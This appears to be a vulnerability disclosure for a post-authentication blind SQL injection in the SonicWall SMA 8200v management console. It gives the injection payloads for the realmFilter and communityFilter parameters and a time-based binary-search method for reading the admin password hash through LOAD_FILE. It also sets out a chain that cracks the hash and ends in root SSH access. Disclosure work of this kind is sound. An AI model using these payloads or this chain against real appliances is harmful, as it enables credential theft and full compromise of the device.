
Improper neutralization of special elements used in an SQL command (“SQL Injection”) in SonicWall SMA1000 series appliances allows a remote authenticated attacker with read-only administrator privileges to escalate privileges to primary administrator.
A post-authentication blind SQL injection vulnerability in the SonicWall SMA 8200v management console (port 8443) allows any authenticated administrator — including low-privilege read-only accounts — to extract the primary administrator's SHA-512 password hash from the appliance configuration file. Because SonicWall uses the same credential for both the management console admin and the operating system root account, cracking this hash yields full root-level access to the appliance.
Classification: Privilege Escalation (Low-privilege admin to Root) CVSS 3.1: 7.2 (High) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Attack Complexity: Low (automated PoC completes extraction in ~60-90 minutes) Prerequisites: Any valid management console credential (including read-only accounts)
| Component | Details |
|---|---|
| Platform | SonicWall SMA 8200v (virtual appliance) |
| Firmware | 12.5.0-02283 (confirmed); likely all 12.x |
| Service | Management Console — Jetty + Struts 2 (port 8443) |
| Endpoint | POST /activeUsers.action |
| Vulnerable Parameters | realmFilter, communityFilter (cross-parameter) |
| Root Cause Class | com.aventail.mgmt.sql.Sql.safeParam() |
| Database | MariaDB 10.11.14, user DbAdmin (ALL PRIVILEGES + FILE) |
| Target File | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
The management console constructs SQL queries for the Active Users dashboard using a helper method safeParam() in the class com.aventail.mgmt.sql.Sql. This method escapes single-quotes (') and double-quotes (") by doubling them, but it does not escape backslash characters (\).
In MySQL/MariaDB, a backslash is the default escape character inside string literals. The sequence \' causes the database to interpret the single-quote as a literal character rather than a string terminator. This means a backslash at the end of a parameter value will escape the closing quote that the application appends, causing the SQL string literal to extend into adjacent syntax.
Sanitization gap:
Input: test\
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test\') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing ' after test\ is consumed as a literal quote character within the string, so the SQL string literal extends across the ) AND (ct.name=' boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
The activeUsers.action endpoint accepts multiple filter parameters that are interpolated into a single SQL WHERE clause. The relevant parameters are realmFilter and communityFilter, which appear in a query structured approximately as:
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Attack parameter setup:
| Parameter | Value | Purpose |
|---|---|---|
realmFilter | test\ | Trailing backslash escapes the closing quote, extending the string literal across the AND boundary |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | Closes the open parentheses, injects conditional SLEEP, comments out remainder |
Resulting SQL after interpolation:
WHERE ... AND (rt.name='test\') AND (ct.name='
)) OR (SELECT IF(<condition>,SLEEP(N),0))-- x')
Breaking this down:
rt.name='test\') — the \ escapes the ', so the string doesn't close hereAND (ct.name=' — becomes part of the string value (literal text)' (from communityFilter's start))) — closes the two open parentheses from the WHERE clause structureOR (SELECT IF(...)) — injects the blind SQLi condition-- x — comments out the remaining SQL (') and other clauses)Since the application's Struts 2 error handling catches SQL exceptions gracefully (always returning HTTP 200 with the same page content regardless of query success or failure), error-based and UNION-based extraction methods are not viable. The injection is exploited using time-based blind technique:
IF(<condition>, SLEEP(N), 0) — response delayed by SLEEP duration multiplied by result set row countThe SLEEP function executes per-row in the WHERE clause evaluation. With a typical monitoring table containing 30-300+ rows, even a small SLEEP value (e.g., 0.3s) produces a clearly distinguishable delay (10-100s for TRUE vs. <1s for FALSE).
Each character of the target data is extracted via binary search over the ASCII range:
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
This requires a maximum of 7 requests per character (log2(128) = 7), yielding ~686 total requests for a 98-character SHA-512 hash.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly")
| authenticates to management console on port 8443
| using "Local Authentication" realm
v
[2] SQL Injection Cross-parameter blind SQLi via activeUsers.action
| realmFilter backslash + communityFilter payload
| Condition: IF(<expr>, SLEEP(N), 0)
v
[3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege
| secure_file_priv=NULL does NOT block reads
| avconfig.xml is group-readable (mode 664)
v
[4] Locate Hash LOCATE('consoleMode', file) anchors to admin section
| LOCATE('<password>', file, anchor) finds hash element
| SUBSTRING + SUBSTRING_INDEX extracts hash value
v
[5] Extract Hash Binary search extracts hash char-by-char
| ~98 chars * ~7 requests = ~686 requests
| Output: $6$<salt>$<hash> (SHA-512 crypt)
v
[6] Crack Hash hashcat -m 1800 / john --format=sha512crypt
| Admin password = Root SSH password (by design)
v
[7] Full Compromise SSH as root, management console as admin
Complete appliance takeover
The SMA management console supports two authentication realms:
| Realm ID | Display Name | Users |
|---|---|---|
| (empty) | Management Console | Primary admin account only |
AMCAuthRealm / Local Authentication | Local Authentication | Secondary admin accounts (readonly, custom) |
The attack requires only a valid credential for any account with management console access. The "readonly" account — intended for monitoring-only access with no configuration change capability — is sufficient.
Authentication is performed via J2EE FORM-based authentication:
GET /console.action — retrieves login page, extract CSRF token from hidden form fieldPOST /j_security_check — submit csrfToken, j_username, j_password, and realmIdJSESSIONID cookie established